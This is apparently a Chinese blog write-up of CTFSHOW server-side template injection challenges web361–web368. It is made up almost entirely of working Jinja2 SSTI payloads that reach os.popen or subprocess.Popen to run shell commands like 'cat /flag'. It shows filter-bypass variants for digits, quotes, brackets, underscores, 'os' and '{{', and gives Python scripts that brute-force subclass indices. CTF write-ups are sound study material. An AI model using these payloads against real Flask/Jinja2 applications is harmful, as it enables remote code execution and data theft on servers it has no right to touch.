CTFSHOW SSTI

目录

web361   【无过滤】

subprocess.Popen

os._wrap_close

url_for

lipsum

cycler

web362   【过滤数字】

第一个通过 计算长度来实现

第二个使用脚本输出另一个数字来绕过

使用没有数字的payload

web363   【过滤引号】

使用getitem  自定义变量

web364   【过滤 args和引号】

chr

web365   【过滤中括号】

getitem()

web366   【过滤下划线】

attr

web367   【过滤os】

get(request.values.a)

web368   【过滤{{】


最近搞了几题SSTI 有点意思

做一下CTFSHOW的吧

web361   【无过滤】

名字就是考点

这题简单直接payload 和过程了

?name={{7*7}} 

?name={{"".__class__.__base__.__subclasses__()}}

这里贴上一下脚本 用来查找位数

import time

import  requests



base_url="http://d30af560-b595-44ce-b476-e5681156b059.challenge.ctf.show/?name="
for i in range(200):
    payload="{{\"\".__class__.__base__.__subclasses__()[%s]}}"%i
    r= requests.get(url=base_url+payload)
    if "subprocess.Popen" in r.text:
        print(i)
    if r.status_code == 429:
        time.sleep(0.5)

简单的我就使用多点方法


subprocess.Popen

/?name={{"".__class__.__base__.__subclasses__()[407]}}
/?name={{"".__class__.__base__.__subclasses__()[407]("ls",shell=True,stdout=-1).communicate()[0].strip()}}

os._wrap_close

?name={{"".__class__.__base__.__subclasses__()[132]}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls").read()}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /f*").read()}}

url_for

{{url_for.__globals__}}

{{url_for.__globals__["current.app"].config}}

但是这里没有

 下面是

推测可能是 twig 和 Jinja2 使用

lipsum

?name={{lipsum.__globals__}}

?name={{lipsum.__globals__['os']}}

{{lipsum.__globals__['os'].popen("ls").read()}}

{{lipsum.__globals__['os'].popen("cat /f*").read()}}

cycler

?name={{cycler.__init__.__globals__}}

?name={{cycler.__init__.__globals__.os.popen("ls /").read()}}

?name={{cycler.__init__.__globals__.os.popen("cat /f*").read()}}

不写了 太多了

还是需要理解 一旦出现过滤 这种直接复制粘贴是没有用的 最好在 python中多看看

web362   【过滤数字】

这里过滤了数字

我们有两个方法

第一个通过 计算长度来实现

{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}

但是这个需要拼接很多

所以放弃

第二个使用脚本输出另一个数字来绕过

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

'0','1','2','3','4','5','6','7','8','9',

132
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("cat /f*").read()}}

使用没有数字的payload

?name={{lipsum.__globals__['os'].popen("cat /flag").read()}}

web363   【过滤引号】

这里可以使用构造request方式绕过 这里过滤了引号

我们需要构造无引号的

这里可以记住 过滤了引号 我们就可以通过括号来查找

使用getitem  自定义变量

这里可以使用自定义的变量来绕过 request.values.a 类似于自己定义的变量

只需要在}}后面传递参数即可

{{().__class__.__mro__[1].__subclasses__()}}


/?name={{().__class__.__mro__[1].__subclasses__()[].__init__.__globals__.__getitem__(request.values.a)}}&a=popen

这里是我们需要跑的脚本类型

我们需要找到popen来执行命令 我们就可以通过遍历类 然后通过__getitem__找到方法request
然后来查询popen

写个脚本

import requests

baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="

for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%i].__init__.__globals__.__getitem__(request.values.a)}}&a=popen"""%i
    r=requests.get(url=baseurl+payload)
    if "popen" in r.text:
        print(i)
    else:
        continue

跑出来132

{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls


/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

web364   【过滤 args和引号】

这里其实使用上一题的方法还是可以

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

这里介绍一下另一个方法chr 方法

chr

import requests

baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="

for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__.__builtins__.chr}}"""%i
    r=requests.get(url=baseurl+payload)
    if "chr" in r.text:
        print(i)
    else:
        continue

通过脚本 寻找存在chr方法的类

然后使用 框架表达式 {{%%}}声明变量

来声明 chr的方法

?name={%set+chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}



这里是两块
{% set chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}

第一块 来设置chr


第二块
{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

这里的chr() 是 cat /f*

web365   【过滤中括号】

这里比上一题多了中括号的过滤

getitem()

__golbals__[123]

__golbals__.__getitem__(123)

这两个 是没有区别的

所以遇到了中括号我们可以运用这个方式来做

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=ls


?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /f*

web366   【过滤下划线】

这里接着上面的内容过滤了下划线

attr

().__class__


()|attr('__class__') 这两个是一样的


但是这个题目过滤了_ 

我们可以使用request来绕过


(lipsum|attr(request.values.a))   &a=__class__

直接构造payload

{{lipsum|attr(request.values.b)}}&b=__globals__


{{(lipsum|attr(request.values.b)).os}}&b=__globals__



{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=ls

{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=cat /f*

web367   【过滤os】

这里在上面的基础上过滤了os

这里需要使用 get(request.values.a) 来获取os

其余和上面一样即可

get(request.values.a)

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /f*

web368   【过滤{{】

这里我们过滤了{{ 但是没有过滤其他表达式

我们通过 {% %}

表达式修改一下即可

?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls


?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值